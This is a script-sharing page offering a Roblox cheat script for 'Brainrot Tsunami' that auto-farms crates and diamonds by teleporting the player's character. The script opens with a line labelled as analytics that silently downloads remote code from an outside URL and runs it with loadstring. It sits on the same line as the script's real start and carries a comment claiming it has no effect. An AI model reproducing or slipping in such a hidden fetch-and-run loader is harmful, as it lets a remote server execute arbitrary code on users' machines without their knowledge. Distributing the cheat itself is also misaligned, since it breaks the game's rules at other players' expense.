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Brainrot Tsunami: Auto Farm, Auto Chest

FFrosty11 months ago
  • Open source
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Description

Brainrot Tsunami: Auto Farm, Auto Chest

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Features

2 Features
  • Auto Farm
  • Auto Chest
38 lines•1021 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/RsXtyrZe?v=1"))()end);--=== Does not affect the script ===--local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local hrp = character:WaitForChild("HumanoidRootPart")
local crates = workspace.Crates
local diamonds = workspace.Diamonds

while true do
	wait(1)
	
	local c = crates:GetChildren()
	local r = c[math.random(1, #c)]
	local pos
	
	if r:IsA("Model") then
		pos = (r.PrimaryPart or r:FindFirstChildWhichIsA("BasePart")).Position
	else
		pos = r.Position
	end
	
	hrp.CFrame = CFrame.new(pos + Vector3.new(0, 5, 0))
	wait(1)
	
	local d = diamonds:GetChildren()
	local rd = d[math.random(1, #d)]
	local dpos
	
	if rd:IsA("Model") then
		dpos = (rd.PrimaryPart or rd:FindFirstChildWhichIsA("BasePart")).Position
	else
		dpos = rd.Position
	end
	
	hrp.CFrame = CFrame.new(dpos + Vector3.new(0, 5, 0))
end

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